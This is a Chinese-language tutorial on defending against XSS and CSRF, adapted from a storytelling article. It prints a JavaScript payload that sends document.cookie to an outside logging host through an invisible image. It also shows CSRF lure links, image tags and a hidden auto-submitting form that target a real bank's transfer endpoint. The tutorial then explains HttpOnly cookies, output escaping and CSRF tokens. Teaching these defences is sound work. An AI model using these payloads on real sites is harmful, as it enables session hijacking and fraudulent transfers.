Web安全防範(XSS、CSRF)

注：如下文章是我從公衆號「碼農翻身」中的 《黑客三兄弟》抽取總結出來的，這個公衆號採用說故事的方式講解技術，清晰通俗易懂，能學到不少知識。

XSS(Cross Site Scripting)

利用別人的cookie，能夠冒充真實的用戶，在頒發cookie的那個網站中隨心所欲。
由於瀏覽器的同源策略，因此不能獲取到其餘網站的cookie，但經過把JavaScript代碼注入到目標頁面中，就能繞過同源策略，好比在HTML的<input>中注入JavaScript代碼，等到數據提交到服務器端，會保存下來，下次展現頁面的時候，就會執行這段代碼。
舉例有這樣一個網站，可讓你對某個文章輸入評論：

等到再次有人訪問這個頁面的時候，就能夠把那我的的cookie顯示出來了！
固然不能直接把用戶的cookie直接alert出來，而同源策略嚴格限制了JavaScript的跨域訪問，但同源策略並不限制<img>這樣的標籤從別的網站（跨域）去下載圖片，因此能夠經過建立一個不可見的<img>，經過這個<img>發cookie到本身的服務器。
直接上代碼：

var img=document.createElement("img");
img.src="http://web.com/log?"+escape(document.cookie);
document.body.appendChild(img);

只要這段代碼被執行，用戶的cookie就會發送到別人的服務器上("http://web.com/log")。再將這段代碼封裝成一個js文件(web.js)。

這樣就能夠拿到用戶的cookie。
這種竊取用戶的cookie的方法叫作XSS。
注：按照XSS的分類方法，上面介紹的叫作存儲性XSS，危害最大。還有反射型XSS，基於DOM的XSS，本文再也不展開。

防範措施：

在網站的Cookie加上HttpOnly屬性：
Set-Cookie: JSESSIONID=xxxxxx;Path=/;Domain=book.com;HttpOnly
這樣瀏覽器就禁止JavaScript的讀取了。

固然經過頁面注入JavaScript代碼，那就能夠不僅是借Cookie了。例如能夠用這個JS代碼畫一個假的登陸框，覆蓋到真的登陸框之上，讓用戶信覺得真，這樣就能夠偷到真實的用戶名和密碼了。或者經過JavaScript構造GET,POST請求，能夠模擬用戶在該網站作點手腳，刪點什麼東西，從一個帳戶往另外一個帳戶轉帳，都是能夠的。

防範措施：

將用戶輸入的特殊字符例如<,>過濾掉，這樣<script>可能會變成'script'被存到數據庫裏。
另外一方面還能夠對輸出進行編碼/轉義操做，例如把<變成<，把>變成>，瀏覽器收到之後，就會認爲是數據，把<script>做爲字符串給顯示出來，而不是執行後面的代碼！

CSRF(Cross Site Request Forgery)

一個用戶的會話cookie在瀏覽器沒有關閉的時候，是不會被刪除的，因此能夠換個思路，再也不去偷這個cookie了，相反，能夠在web.com中構造一個領獎頁面，裏面包含一個鏈接，讓用戶去惦記，例如：

恭喜你得到了iPhoneX一臺，快來<a href="www.icbc.com.cn/transfer?toBankId=黑客的帳戶&money=金額">領取吧</a>

這得先知道icbc.com.cn的轉帳操做的url和參數名稱。
若是這個用戶剛好登陸了icbc.com，那他的cookie還在，當他禁不住誘惑，點了這個連接後，一個轉帳操做就神不知鬼不覺的發生了。
注：爲了方便展現，本文舉了一個很是簡單的案例，銀行實際的轉帳操做要遠遠比文章描述安全的多。
除了讓用戶點擊外，還可使用img標籤<img src="www.icbc.com.cn/transfer?toAccountID=黑客三兄弟的帳戶&money=金額">，只要用戶打開了這個頁面，不點擊任何東西，就會發生轉帳操做。
因此如今有不少郵箱默認是不顯示郵件中的圖片的。
若是icbc.com.cn的轉帳操做須要form表單，是POST操做，那麼能夠本身建立一個表單，放到一個不可見的iframe中，用戶只要一訪問，就用JavaScript自動提交。

<form action="http://www.icbc.com.cn/transfer" method="POST">
    <input type="text" name="toAccountID" value="黑客的帳號"/>
    <input type="text" name="money" value="金額"/>
</form>

總之，只要用戶在訪問icbc.com.cn的時候，訪問了web.com，就極有可能中招，這種方式，只是利用了一下合法的Cookie，在服務器看來，發出的這個請求是一次合法的請求。這個就叫跨站請求僞造，Cross Site Request Forgest (CSRF)。

防範措施：

1.用戶在icbc.com.cn轉帳，顯示轉帳的form，除了經常使用的字段以外，額外添加一個token:

<form action="http://www.icbc.com.cn/transfer" method="POST">
    <input type="hidden" name="token" value="axsa;dsww98725678836554xskdhf82735672"/>
    <input type="text" name="toAccountID" value="黑客的帳號"/>
    <input type="text" name="money" value="金額"/>
</form>

這個token是icbc.com服務器端生成的，是一個隨機的數字。

2.用戶的轉帳數據發送的服務器端，icbc.com就會檢查從瀏覽器發過來的數據中有沒有token，而且這個token的值是否是和服務器端保存的相等，若是相等，就繼續執行轉帳操做，若是不相等，那此次POST請求確定是僞造的。

這個token是服務器端生成的，沒法僞造，CSRF的手段也不行了。